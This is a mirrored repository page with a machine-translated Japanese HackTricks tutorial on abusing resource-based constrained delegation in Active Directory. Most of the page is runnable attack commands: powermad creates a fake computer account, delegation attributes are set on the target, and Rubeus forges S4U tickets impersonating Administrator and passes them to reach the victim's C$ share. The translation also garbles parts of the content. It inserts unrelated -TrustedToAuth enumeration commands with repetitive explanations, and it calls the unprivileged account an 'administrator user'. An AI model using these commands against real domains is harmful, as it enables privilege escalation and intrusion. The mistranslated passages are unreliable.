Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 17:28:13 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
Translator workflow e90c803209 Translated to Japanese
2023-07-07 23:42:27 +00:00

16 KiB
Raw Blame History

リソースベースの制約付き委任

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

リソースベースの制約付き委任の基礎

これは、基本的な制約付き委任と似ていますが、オブジェクトに対して任意のユーザーをなりすます権限を与える代わりに、リソースベースの制約付き委任では、オブジェクトに対して任意のユーザーをなりすますことができるユーザーを設定します。

この場合、制約付きオブジェクトには、_msDS-AllowedToActOnBehalfOfOtherIdentity_という属性があり、それに対して任意の他のユーザーをなりすますことができるユーザーの名前が記載されています。

この制約付き委任と他の委任とのもう一つの重要な違いは、マシンアカウントに対して書き込み権限（GenericAll/GenericWrite/WriteDacl/WritePropertyなど）を持つ任意のユーザーがmsDS-AllowedToActOnBehalfOfOtherIdentity_を設定できることです（他の委任の形式では、ドメイン管理者特権が必要でした）。

新しい概念

制約付き委任では、ユーザーの_userAccountControl_値の中にある**TrustedToAuthForDelegationフラグがS4U2Self**を実行するために必要であると言われていました。しかし、それは完全な真実ではありません。

実際には、その値がなくても、サービス（SPNを持っている）であれば、任意のユーザーに対してS4U2Selfを実行することができます。ただし、TrustedToAuthForDelegationを持っている場合、返されるTGSはForwardableになりますが、そのフラグを持っていない場合、返されるTGSはForwardableではありません。

ただし、TGSがForwardableでない場合、基本的な制約付き委任を悪用しようとしても機能しません。しかし、リソースベースの制約付き委任を悪用しようとする場合は機能します（これは脆弱性ではなく、機能のようです）。

攻撃の構造

コンピュータアカウントに書き込みに相当する特権がある場合、そのマシンで特権アクセスを取得できます。

攻撃者が既に被害者コンピュータに対して書き込みに相当する特権を持っていると仮定します。

  1. 攻撃者は、SPNを持つアカウントを侵害するか、作成します（"Service A"）。注意：特別な特権を持たない_管理者ユーザー_でも、最大で10個の**コンピュータオブジェクト（MachineAccountQuota）**を作成し、それらにSPNを設定することができます。したがって、攻撃者は単にコンピュータオブジェクトを作成し、SPNを設定することができます。
  2. 攻撃者は、被害者コンピュータ（ServiceB）に対する書き込み特権を悪用して、リソースベースの制約付き委任を設定し、ServiceAがその被害者コンピュータ（ServiceB）に対して任意のユーザーをなりすますことを許可します。
  3. 攻撃者はRubeusを使用して、Service AからService Bへの完全なS4U攻撃（S4U2SelfおよびS4U2Proxy）を実行します。この攻撃は、Service Bに特権アクセスを持つユーザーに対して行われます。
  4. S4U2Self（侵害/作成されたアカウントのSPNから）：AdministratorのTGSを自分に要求します（Forwardableではない）。
  5. S4U2Proxy：前のステップでのForwardableでないTGSを使用して、Administratorから被害者ホストへのTGSを要求します。
  6. ForwardableでないTGSを使用している場合でも、リソースベースの制約付き委任を悪用しているため、機能します。
  7. 攻撃者はチケットを渡すことができ、ユーザーをなりすまして被害者のServiceBにアクセスできます。

ドメインの_MachineAccountQuota_を確認するには、次のコマンドを使用できます：

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

攻撃

コンピュータオブジェクトの作成

ドメイン内でコンピュータオブジェクトを作成することができます。powermadを使用します。

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose


Get-DomainComputer SERVICEA #Check if created if you have powerview

Resource-based Constrained Delegationの設定

activedirectory PowerShellモジュールを使用する

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

powerviewを使用する

Get-DomainUser -TrustedToAuth

このコマンドは、信頼された認証を受けるユーザーの一覧を取得します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。

Get-DomainComputer -TrustedToAuth

このコマンドは、信頼された認証を受けるコンピューターの一覧を取得します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。

Get-DomainGroup -TrustedToAuth

このコマンドは、信頼された認証を受けるグループの一覧を取得します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。

Get-DomainUser -TrustedToAuth | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ObjectType -match 'computer'} | select IdentityReference,ActiveDirectoryRights,InheritanceFlags,IsInherited,ObjectType | ft -AutoSize

このコマンドは、信頼された認証を受けるユーザーの一覧を取得し、関連するACL情報を表示します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。

Get-DomainComputer -TrustedToAuth | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ObjectType -match 'user'} | select IdentityReference,ActiveDirectoryRights,InheritanceFlags,IsInherited,ObjectType | ft -AutoSize

このコマンドは、信頼された認証を受けるコンピューターの一覧を取得し、関連するACL情報を表示します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。

Get-DomainGroup -TrustedToAuth | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ObjectType -match 'user'} | select IdentityReference,ActiveDirectoryRights,InheritanceFlags,IsInherited,ObjectType | ft -AutoSize

このコマンドは、信頼された認証を受けるグループの一覧を取得し、関連するACL情報を表示します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

完全なS4U攻撃の実行

まず、パスワード123456を持つ新しいコンピュータオブジェクトを作成しましたので、そのパスワードのハッシュが必要です：

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

これにより、そのアカウントのRC4およびAESハッシュが表示されます。
さて、攻撃を実行できます:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

Rubeusの/altserviceパラメータを使用して、一度の要求で複数のチケットを生成することができます。

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

{% hint style="danger" %} ユーザーには「委任できない」という属性があります。ユーザーがこの属性をTrueに設定している場合、彼をなりすますことはできません。このプロパティはBloodhound内で確認できます。 {% endhint %}

アクセス

最後のコマンドラインは、完全なS4U攻撃を実行し、TGSを管理者から被害者ホストにインジェクトします。
この例では、管理者からCIFSサービスのTGSが要求されたため、**C$**にアクセスできます。

ls \\victim.domain.local\C$

異なるサービスチケットの悪用

ここで利用可能なサービスチケットについて学ぶ。

Kerberosエラー

  • KDC_ERR_ETYPE_NOTSUPP: これは、KerberosがDESまたはRC4を使用しないように設定されており、あなたが単にRC4ハッシュを提供していることを意味します。少なくともAES256ハッシュをRubeusに提供してください（または単にrc4、aes128、aes256ハッシュを提供してください）。例：[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
  • KRB_AP_ERR_SKEW: これは、現在のコンピュータの時刻がDCの時刻と異なっており、Kerberosが正常に動作していないことを意味します。
  • preauth_failed: これは、指定したユーザ名+ハッシュがログインに使用されていないことを意味します。ハッシュを生成する際にユーザ名に""を入れ忘れた可能性があります（`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER /domain:domain.local`）。
  • KDC_ERR_BADOPTION: これは次のことを意味する場合があります：
  • あなたがなりすますことを試みているユーザは、望ましいサービスにアクセスできない（なりすますことができないか、十分な特権を持っていないため）
  • 要求されたサービスが存在しない（winrmのチケットを要求するが、winrmが実行されていない場合など）
  • 作成されたfakecomputerが脆弱なサーバー上で特権を失い、それを戻す必要がある

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥